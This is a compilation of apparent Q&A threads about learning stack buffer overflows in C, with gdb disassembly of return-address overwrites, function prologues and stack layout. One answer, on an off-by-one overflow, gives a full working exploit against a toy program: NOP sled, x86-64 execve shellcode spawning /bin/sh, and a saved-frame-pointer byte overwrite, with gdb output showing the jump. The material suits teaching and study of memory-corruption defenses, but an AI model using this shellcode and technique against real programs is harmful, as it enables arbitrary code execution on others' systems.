Rewriting ret address when leaving a function - c

I'm trying to rewrite ret adress from function foo() to skip first instruction after leaving function foo(). I'm following Smash stack for fun or profit and Hacking by Jon Erickson. Here is simple code where I want to skip "b = 2;" instruction, so in b should be stored value 1.
Compiled in gcc, settings: -fno-stack-protector -z execstack -g
Also I have turned off ASLR.
#include <stdio.h>
int foo() {
int c = 0;
int *ptr;
ptr = (int*) 0x00007fffffffdf38;
// Second instruction after leaving from foo(). I also tried to skip all instructions before call printf function.
*ptr = 0x0000000000400577;
return 0;
}
int main()
{
int b = 1;
foo();
b = 2;
printf("b = %d\n", b);
return 0;
}
Output of this program is: "b = 2".
How I assumed where is stored RET instruction:
(gdb) disass main
...
0x000000000040056b <+20>: call 0x40052d <foo>
0x0000000000400570 <+25>: mov DWORD PTR [rbp-0x4],0x2
0x0000000000400577 <+32>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040057a <+35>: mov esi,eax
...
(gdb) break 4 // set breakpoint 1 in function foo before int *ptr;
(gdb) break 7 // set breakpoint 2 in function foo after rewriting RET for checking
(gdb) run
(gdb) x/8x &c // "x/8x $esp" doesn't work, it says: "Cannot access memory at address 0xffffffffffffdf30", so I'm looking into memory from &c
0x7fffffffdf2c: 0x00000000 0xffffdf50 0x00007fff 0x00400570
0x7fffffffdf3c: 0x00000000 0xffffe030 0x00007fff 0x00000000
// simple math tell me, it should be:
(gdb) x/8xb 0x7fffffffdf38
0x7fffffffdf38: 0x70 0x05 0x40 0x00 0x00 0x00 0x00 0x00
This is how I have found the RET address, it is at 0x7fffffffdf38. To this place I'm putting address of next instruction - 0x0000000000400577.
However, computer still didn't skip instruction b = 2, even when RET is successfully rewrited.
I checked it for confirmation if it really replaced the RET address:
(gdb) c
(gdb) x/8xb 0x7fffffffdf38
0x7fffffffdf38: 0x77 0x05 0x40 0x00 0x00 0x00 0x00 0x00
So RET address is really rewrited but when program leaves from function foo() it jumps to original address 0x0000000000400570 wich I want to skip...
It should be simple, find where is stored ret adress and then put to this place other adress. What am I doing wrong?
Thanks for every answer.
For specifying the questing I'm adding dissasembled functions:
Dump of assembler code for function foo:
0x000000000040052d <+0>: push rbp
0x000000000040052e <+1>: mov rbp,rsp
0x0000000000400531 <+4>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400538 <+11>: movabs rax,0x7fffffffdf38
0x0000000000400542 <+21>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400546 <+25>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040054a <+29>: mov DWORD PTR [rax],0x400577
0x0000000000400550 <+35>: mov eax,0x0
0x0000000000400555 <+40>: pop rbp
0x0000000000400556 <+41>: ret
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400557 <+0>: push rbp
0x0000000000400558 <+1>: mov rbp,rsp
0x000000000040055b <+4>: sub rsp,0x10
0x000000000040055f <+8>: mov DWORD PTR [rbp-0x4],0x1
0x0000000000400566 <+15>: mov eax,0x0
0x000000000040056b <+20>: call 0x40052d <foo>
0x0000000000400570 <+25>: mov DWORD PTR [rbp-0x4],0x2
0x0000000000400577 <+32>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040057a <+35>: mov esi,eax
0x000000000040057c <+37>: mov edi,0x400624
0x0000000000400581 <+42>: mov eax,0x0
0x0000000000400586 <+47>: call 0x400410 <printf#plt>
0x000000000040058b <+52>: mov eax,0x0
0x0000000000400590 <+57>: leave
0x0000000000400591 <+58>: ret

When I run this in gdb debugger it works. So the code is written good, question solved. The problem is somewhere else...

Related

Basic buffer overflow tutorial

I'm learning about basic buffer overflows, and I have the following C code:
int your_fcn()
{
char buffer[4];
int *ret;
ret = buffer + 8;
(*ret) += 16;
return 1;
}
int main()
{
int mine = 0;
int yours = 0;
yours = your_fcn();
mine = yours + 1;
if(mine > yours)
printf("You lost!\n");
else
printf("You won!\n");
return EXIT_SUCCESS;
}
My goal is to bypass the line mine = yours + 1;, skip straight to the if statement comparison, so I can "win". main() cannot be touched, only your_fcn() can.
My approach is to override the return address with a buffer overflow. So in this case, I identified that the return address should be 8 bytes away from buffer, since buffer is 4 bytes and EBP is 4 bytes. I then used gdb to identify that the line I want to jump to is 16 bytes away from the function call. Here is the result from gdb:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000054a <+0>: lea 0x4(%esp),%ecx
0x0000054e <+4>: and $0xfffffff0,%esp
0x00000551 <+7>: pushl -0x4(%ecx)
0x00000554 <+10>: push %ebp
0x00000555 <+11>: mov %esp,%ebp
0x00000557 <+13>: push %ebx
0x00000558 <+14>: push %ecx
0x00000559 <+15>: sub $0x10,%esp
0x0000055c <+18>: call 0x420 <__x86.get_pc_thunk.bx>
0x00000561 <+23>: add $0x1a77,%ebx
0x00000567 <+29>: movl $0x0,-0xc(%ebp)
0x0000056e <+36>: movl $0x0,-0x10(%ebp)
0x00000575 <+43>: call 0x51d <your_fcn>
0x0000057a <+48>: mov %eax,-0x10(%ebp)
0x0000057d <+51>: mov -0x10(%ebp),%eax
0x00000580 <+54>: add $0x1,%eax
0x00000583 <+57>: mov %eax,-0xc(%ebp)
0x00000586 <+60>: mov -0xc(%ebp),%eax
0x00000589 <+63>: cmp -0x10(%ebp),%eax
0x0000058c <+66>: jle 0x5a2 <main+88>
0x0000058e <+68>: sub $0xc,%esp
0x00000591 <+71>: lea -0x1988(%ebx),%eax
I see the line 0x00000575 <+43>: call 0x51d <your_fcn> and 0x00000583 <+57>: mov %eax,-0xc(%ebp) are four lines away from each other, which tells me I should offset ret by 16 bytes. But the address from gdb says something different. That is, the function call starts on 0x00000575 and the line I want to jump to is on 0x00000583, which means that they are 15 bytes away?
Either way, whether I use 16 bytes or 15 bytes, I get a segmentation fault error and I still "lose".
Question: What am I doing wrong? Why don't the address given in gdb go by 4 bytes at a time and what's actually going on here. How can I correctly jump to the line I want?
Clarification: This is being done on a x32 machine on a VM running linux Ubuntu. I'm compiling with the command gcc -fno-stack-protector -z execstack -m32 -g guesser.c -o guesser.o, which turns stack protector off and forces x32 compilation.
gdb of your_fcn() as requested:
(gdb) disassemble your_fcn
Dump of assembler code for function your_fcn:
0x0000051d <+0>: push %ebp
0x0000051e <+1>: mov %esp,%ebp
0x00000520 <+3>: sub $0x10,%esp
0x00000523 <+6>: call 0x5c3 <__x86.get_pc_thunk.ax>
0x00000528 <+11>: add $0x1ab0,%eax
0x0000052d <+16>: lea -0x8(%ebp),%eax
0x00000530 <+19>: add $0x8,%eax
0x00000533 <+22>: mov %eax,-0x4(%ebp)
0x00000536 <+25>: mov -0x4(%ebp),%eax
0x00000539 <+28>: mov (%eax),%eax
0x0000053b <+30>: lea 0xc(%eax),%edx
0x0000053e <+33>: mov -0x4(%ebp),%eax
0x00000541 <+36>: mov %edx,(%eax)
0x00000543 <+38>: mov $0x1,%eax
0x00000548 <+43>: leave
0x00000549 <+44>: ret
x86 has variable length instructions, so you cannot simply count instructions and multiply by 4. Since you have the output from gdb, trust it to determine the address of each instruction.
The return address from the function is the address after the call instruction. In the code shown, this would be main+48.
The if statement starts at main+60, not main+57. The instruction at main+57 stores yours+1 into mine. So to adjust the return address to return to the if statement, you should add 12 (that is, 60 - 48).
Doing that skips the assignments to both yours and mine. Since they are both initialized to 0, it will print "You won".

Difference in prologue function

I'm reading Haching: the art of exploitation and I have found a difference in my compiled code and the one in the book.
The code:
void test_function(int a, int b, int c, int d) {
int flag;
char buffer[10];
flag = 31337;
buffer[0] = 'A';
}
int main() {
test_function(1, 2, 3, 4);
}
In the book he compiles with gcc and disassembles with gdb, I don't know the version of the softwares.
He uses the commands:
gcc -g program.c
gdb -q ./a.out
Then he does:
(gdb) disass main
Dump of assembler code for function main():
0x08048357 <main+0>: push ebp
0x08048358 <main+1>: mov ebp,esp
0x0804835a <main+3>: sub esp,0x18
0x0804835d <main+6>: and esp,0xfffffff0
0x08048360 <main+9>: mov eax,0x0
0x08048365 <main+14>: sub esp,eax
0x08048367 <main+16>: mov DWORD PTR [esp+12],0x4
0x0804836f <main+24>: mov DWORD PTR [esp+8],0x3
0x08048377 <main+32>: mov DWORD PTR [esp+4],0x2
0x0804837f <main+40>: mov DWORD PTR [esp],0x1
0x08048386 <main+47>: call 0x8048344 <test_function>
0x0804838b <main+52>: leave
0x0804838c <main+53>: ret
End of assembler dump
(gdb) disass test_function()
Dump of assembler code for function test_function:
0x08048344 <test_function+0>: push ebp
0x08048345 <test_function+1>: mov ebp,esp
0x08048347 <test_function+3>: sub esp,0x28
0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69
0x08048351 <test_function+13>: mov BYTE PTR [ebp-40],0x41
0x08048355 <test_function+17>: leave
0x08048356 <test_function+18>: ret
Instead this is my output (using the same command):
(gdb) disass main
Dump of assembler code for function main:
0x000000000040058b <+0>: push rbp
0x000000000040058c <+1>: mov rbp,rsp
0x000000000040058f <+4>: mov ecx,0x4
0x0000000000400594 <+9>: mov edx,0x3
0x0000000000400599 <+14>: mov esi,0x2
0x000000000040059e <+19>: mov edi,0x1
0x00000000004005a3 <+24>: call 0x400546 <test_function>
0x00000000004005a8 <+29>: mov eax,0x0
0x00000000004005ad <+34>: pop rbp
0x00000000004005ae <+35>: ret
End of assembler dump.
(gdb) disass test_function
Dump of assembler code for function test_function:
0x0000000000400546 <+0>: push rbp
0x0000000000400547 <+1>: mov rbp,rsp
0x000000000040054a <+4>: sub rsp,0x40
0x000000000040054e <+8>: mov DWORD PTR [rbp-0x34],edi
0x0000000000400551 <+11>: mov DWORD PTR [rbp-0x38],esi
0x0000000000400554 <+14>: mov DWORD PTR [rbp-0x3c],edx
0x0000000000400557 <+17>: mov DWORD PTR [rbp-0x40],ecx
0x000000000040055a <+20>: mov rax,QWORD PTR fs:0x28
0x0000000000400563 <+29>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400567 <+33>: xor eax,eax
0x0000000000400569 <+35>: mov DWORD PTR [rbp-0x24],0x7a69
0x0000000000400570 <+42>: mov BYTE PTR [rbp-0x20],0x41
0x0000000000400574 <+46>: nop
0x0000000000400575 <+47>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400579 <+51>: xor rax,QWORD PTR fs:0x28
0x0000000000400582 <+60>: je 0x400589 <test_function+67>
0x0000000000400584 <+62>: call 0x400420 <__stack_chk_fail#plt>
0x0000000000400589 <+67>: leave
0x000000000040058a <+68>: ret
End of assembler dump.
I'm using gcc version 5.4.0 and gdb version 7.11.1.
I have two question:
Why is the function proloque different? What's the difference in the instructions given by the book compiler and the ones given by mine ? (I am not talking about the name of the register, I'm talking about why my main prologue does just push and move)
Could the difference in test_function due to a possible stack overflow and the compiler (that is newer than the other one) knows and patches it ? If so, how does it knows that a flaw exists and what method does it employ to patches it?
EDIT: I know the book version was compiled on a 32 bit architecture. My question was about the different instruction of the compiler, if they have to do the same things, why are they different?
The book version was compiled on a 32 bit architecture, your one on 64. Use the -m32 switch to generate 32 bit executable.

Offbyone buffer overflow NULL byte in payload

So I was trying Offbyone Buffer overflow with the help of this following simple code
#include <string.h>
void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));
}
int main(int argc, char **argv)
{
cpy(argv[1]);
}
As this diagram depicts how an Offbyone buffer over flow works
Taken from : https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481
Here is the Disassembly of main and cpy
Here is the payload that I used
Memory dumps
So using the buffer , in the Cpy stack frame i change the value of the saved RBP's least significant byte to 00 ( because of the Offbyone overflow achieved by providing exactly 128byte input )
As you can see the address 0x7fffffffe177 has stored EBP whose value is changed from 0x7fffffffe190 to 0x7fffffffe100
So I went ahead and had the starting address of my payload at the address 0x7fffffffe10F which is also the return address of main
which is supposed to be 0xffffe110 0x00007fff instead of 0xffffe110 0x90907fff but since we shouldn't have 00 in payload I am not able to set the return address because since it's an 64bit address is of 8byte long 0xffffe110 0x00007fff
So how exactly should we have the return address here ?
And since the image of the memory dump, in break point 1 , its the cpy function frame why is argc and argv [] on the top of the stack ?
I am new to Exploit writing and all the help will be much appreciated .
So let's start with a description of the trick that can be used to set the desired return address value without passing zero bytes in payload.
I've changed your code a little bit to make it easier to do the trick. Here is new code:
#include <string.h>
int i;
void cpy(char *x) {
char buf[128];
for (i = 0; i <= 128; ++i) {
buf[i] = x[i];
}
}
int main(int argc, char **argv) {
cpy(argv[1]);
return 0;
}
The main difference is that now we can control the value of the less significant byte of saved rbp. In your example we only can set it to zero.
So here the stack frame of our cpy function:
#rbp - saved base stack pointer of main function
#rsp - stack pointer at the start of cpy function (right after push rbp)
The trick is that we overwrite the last byte in such way that #rbp = #rsp - 8. So when we return from main function $rbp will be equal to #rsp - 8 and thus return address will be 8 bytes before #rsp - 8 i.e. also #rsp - 8!
After return from main we will jump to #rsp - 8. So now we simply put jmp to shellcode at this address and we are done:
But in your original example this trick can't be done because we can't control value of less significant byte of #rbp.
It should also be noted that this trick will not work if #rbp and #rsp differ more than in one last byte.
And finally here is exploit.
Compile code with executable stack and without stack protection:
$ gcc test.c -o test -z execstack -fno-stack-protector
Get byte code for our jmp to shellcode:
$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae
Exploit under gdb:
$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')
>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()
So here is saved rbp:
>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0
Here is rsp at the start of cpy function:
>>> p/x $rsp
$1 = 0x7fffffffd3d0
The value of rbp which we want to get after return from cpy (that's why last byte of payload is \xc8)
>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8
Continue to the end of cpy:
>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()
Asm code of cpy:
>>> disassemble cpy
Dump of assembler code for function cpy:
0x00000000004004a6 <+0>: push rbp
0x00000000004004a7 <+1>: mov rbp,rsp
0x00000000004004aa <+4>: sub rsp,0x10
0x00000000004004ae <+8>: mov QWORD PTR [rbp-0x88],rdi
0x00000000004004b5 <+15>: mov DWORD PTR [rip+0x20046d],0x0 # 0x60092c <i>
0x00000000004004bf <+25>: jmp 0x4004f2 <cpy+76>
0x00000000004004c1 <+27>: mov eax,DWORD PTR [rip+0x200465] # 0x60092c <i>
0x00000000004004c7 <+33>: mov edx,DWORD PTR [rip+0x20045f] # 0x60092c <i>
0x00000000004004cd <+39>: movsxd rcx,edx
0x00000000004004d0 <+42>: mov rdx,QWORD PTR [rbp-0x88]
0x00000000004004d7 <+49>: add rdx,rcx
0x00000000004004da <+52>: movzx edx,BYTE PTR [rdx]
0x00000000004004dd <+55>: cdqe
0x00000000004004df <+57>: mov BYTE PTR [rbp+rax*1-0x80],dl
0x00000000004004e3 <+61>: mov eax,DWORD PTR [rip+0x200443] # 0x60092c <i>
0x00000000004004e9 <+67>: add eax,0x1
0x00000000004004ec <+70>: mov DWORD PTR [rip+0x20043a],eax # 0x60092c <i>
0x00000000004004f2 <+76>: mov eax,DWORD PTR [rip+0x200434] # 0x60092c <i>
0x00000000004004f8 <+82>: cmp eax,0x80
0x00000000004004fd <+87>: jle 0x4004c1 <cpy+27>
0x00000000004004ff <+89>: nop
=> 0x0000000000400500 <+90>: leave
0x0000000000400501 <+91>: ret
End of assembler dump.
Value of rbp after leave:
>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8
Execute till the end of main:
>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
0x0000000000400502 <+0>: push rbp
0x0000000000400503 <+1>: mov rbp,rsp
0x0000000000400506 <+4>: sub rsp,0x10
0x000000000040050a <+8>: mov DWORD PTR [rbp-0x4],edi
0x000000000040050d <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400511 <+15>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400515 <+19>: add rax,0x8
0x0000000000400519 <+23>: mov rax,QWORD PTR [rax]
0x000000000040051c <+26>: mov rdi,rax
0x000000000040051f <+29>: call 0x4004a6 <cpy>
0x0000000000400524 <+34>: mov eax,0x0
0x0000000000400529 <+39>: leave
=> 0x000000000040052a <+40>: ret
End of assembler dump.
>>> ni
Now we at #rsp - 8 and here is our jmp to shellcode:
>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8: jmp 0x7fffffffd382
End of assembler dump.
And finally shellcode:
>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382: nop
0x00007fffffffd383: nop
0x00007fffffffd384: nop
0x00007fffffffd385: nop
...
0x00007fffffffd3ab: xor rdi,rdi
0x00007fffffffd3ae: push rdi
0x00007fffffffd3af: push rdi
0x00007fffffffd3b0: pop rsi
0x00007fffffffd3b1: pop rdx
0x00007fffffffd3b2: movabs rdi,0x68732f6e69622f2f
0x00007fffffffd3bc: shr rdi,0x8
0x00007fffffffd3c0: push rdi
0x00007fffffffd3c1: push rsp
0x00007fffffffd3c2: pop rdi
0x00007fffffffd3c3: push 0x3b
0x00007fffffffd3c5: pop rax
0x00007fffffffd3c6: syscall

Using the command 'x/20x $esp' in GDB, how does the stack work?

I wrote a simple program in C to be analysed in GDB
#include <stdio.h>
int add_numbers(int n1,int n2)
{
int sum=n1+n2;
return sum;
}
int main()
{
int n1=1;
int n2=2;
int sum;
sum = add_numbers(n1,n2);
printf("The sum of 1 and 2 is %d",sum);
return 0;
}
Here is the disassembly of main
0x08048433 <+0>: push %ebp
0x08048434 <+1>: mov %esp,%ebp
0x08048436 <+3>: and $0xfffffff0,%esp
0x08048439 <+6>: sub $0x20,%esp
0x0804843c <+9>: movl $0x1,0x14(%esp)
0x08048444 <+17>: movl $0x2,0x18(%esp)
0x0804844c <+25>: mov 0x18(%esp),%eax
0x08048450 <+29>: mov %eax,0x4(%esp)
0x08048454 <+33>: mov 0x14(%esp),%eax
0x08048458 <+37>: mov %eax,(%esp)
0x0804845b <+40>: call 0x804841d <add_numbers>
0x08048460 <+45>: mov %eax,0x1c(%esp)
0x08048464 <+49>: mov 0x1c(%esp),%eax
0x08048468 <+53>: mov %eax,0x4(%esp)
0x0804846c <+57>: movl $0x8048510,(%esp)
0x08048473 <+64>: call 0x80482f0 <printf#plt>
0x08048478 <+69>: mov $0x0,%eax
0x0804847d <+74>: leave
0x0804847e <+75>: ret
I then set a breakpoint on line 12 and analysed the stack with
'x/20x $esp'
0xbffff270: 0x00000001 0xbffff334 0xbffff33c 0xb7e4342d
0xbffff280: 0xb7fbb3c4 0x00000001 0x0804848b 0xb7fbb000
0xbffff290: 0x08048480 0x00000000 0x00000000 0xb7e29a83
0xbffff2a0: 0x00000001 0xbffff334 0xbffff33c 0xb7feccea
0xbffff2b0: 0x00000001 0xbffff334 0xbffff2d4 0x0804a014
So why is it that the statement 'movl $0x1,0x14(%esp)' moves 1 to the second address in the stack? Specifically how is this stack incremented(or decremented because the stack grows down?) to put '1' in the address following the'$eip' register?
A tutorial would be nice too since I’ve probably missed this information.
Thanks!
-Tom
The assembly instruction movl $0x1,0x14(%esp) moves the 32-bit integer value 1 into the 4 bytes located 20 bytes past the address that the register ESP points to. In your memory dump that would be the four bytes starting at 0xbffff284, which is the second 32-bit value on the second line.
This instruction doesn't change the value of ESP. It's neither incremented nor decremented. The value in ESP changed previously by the instruction at 0x08048439: sub $0x20,%esp. This instruction reserves 32-bytes on the stack for local variables used by the function, along with outgoing arguments for function calls. The variables n1, n2, and sum are located at addresses 0xbffff284, 0xbffff288, and 0xbffff28c respectively.
Nothing is stored at the address following EIP anywhere in your program. I assume you actually meant something else by this, but I don't know what.

Stack address not corresponding (Trying to understand Buffer overflow)

I have been following this tutorial at http://insecure.org/stf/smashstack.html but at example3.c my function return address doesn't correspond to the logic he implies. I can understand how the return address can be changed at a function but doing it on my computer just doesn't do the trick. I have used -fno-stack-protector and gdb with info registers and disassemble main and also disassemble the function but to no avail. I'm kinda new to Assembly.
My computer is running xubuntu 14 32bits.
My gcc instruction is: gcc -Wall -ansi -g -fno-stack-protector example3.c
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
gdb disassemble on main with a breakpoint on function call
(gdb) disassemble main
Dump of assembler code for function main:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: and $0xfffffff0,%esp
0x08048441 <+6>: sub $0x20,%esp
0x08048444 <+9>: movl $0x0,0x1c(%esp)
=> 0x0804844c <+17>: movl $0x3,0x8(%esp)
0x08048454 <+25>: movl $0x2,0x4(%esp)
0x0804845c <+33>: movl $0x1,(%esp)
0x08048463 <+40>: call 0x804841d <function>
0x08048468 <+45>: movl $0x1,0x1c(%esp)
0x08048470 <+53>: mov 0x1c(%esp),%eax
0x08048474 <+57>: mov %eax,0x4(%esp)
0x08048478 <+61>: movl $0x8048520,(%esp)
0x0804847f <+68>: call 0x80482f0 <printf#plt>
0x08048484 <+73>: leave
0x08048485 <+74>: ret
End of assembler dump.
(gdb) disassemble function
Dump of assembler code for function function:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: sub $0x20,%esp
=> 0x08048423 <+6>: lea -0x9(%ebp),%eax
0x08048426 <+9>: add $0xc,%eax
0x08048429 <+12>: mov %eax,-0x4(%ebp)
0x0804842c <+15>: mov -0x4(%ebp),%eax
0x0804842f <+18>: mov (%eax),%eax
0x08048431 <+20>: lea 0x8(%eax),%edx
0x08048434 <+23>: mov -0x4(%ebp),%eax
0x08048437 <+26>: mov %edx,(%eax)
0x08048439 <+28>: leave
0x0804843a <+29>: ret
End of assembler dump.
At line 9 of function, *ret points to a completely different address
9 (*ret) += 8;
(gdb) p/x *ret
$1 = 0x48468c7 (already with the + 8)
So to clarify, this program is supose to print 0 since the return was changed to jump over the x = 1 instruction.
My question is, why isn't *ret pointing to an address that is somewhat close to main's corresponding addresses?
I'm sorry for my English.
Best regards,
Vcoder
Your tutorial is about some very old compiler.
Lets handle experiment (say gcc 4.8.1, 64-bit Win32) with identical results:
Step 1. Identify where function really starts:
(gdb) disassemble function
Dump of assembler code for function function:
=> 0x00000000004014f0 <+0>: push %rbp
Step 2. Store somewhere its address and break here
(gdb) b *0x00000000004014f0
Breakpoint 1 at 0x4014f0: file test3.c, line 1.
(gdb) r
Breakpoint 1, function (a=1, b=4200201, c=4) at test3.c:1
1 void function(int a, int b, int c) {
Step 3. Okay, here we are. Lets explore where do our return address stored:
(gdb) p $rsp
$1 = (void *) 0x22fe18
(gdb) x 0x22fe18
0x22fe18: 0x0040154c
Wow. Lets check inside main:
0x0000000000401547 <+36>: callq 0x4014f0 <function>
0x000000000040154c <+41>: movl $0x1,-0x4(%rbp)
Step 4. Looks like we found it. Store somewhere value of $rsp=0x22fe18 and now lets see what is buffer starts:
7 (*ret) += 8;
(gdb) p &buffer1[0]
$2 = 0x22fe00 "`\035L"
So buffer[0] address is 0x22fe18 - 0x22fe00 = 0x18 from our target. Not 0xc, as in your example, uh-oh.
P.S. On your compiler and OS, and your optimization options it might be not 0x18, but other value. Try. Experiment. Being hacker is about experimenting, not about running someones scripts.
Good luck.

Resources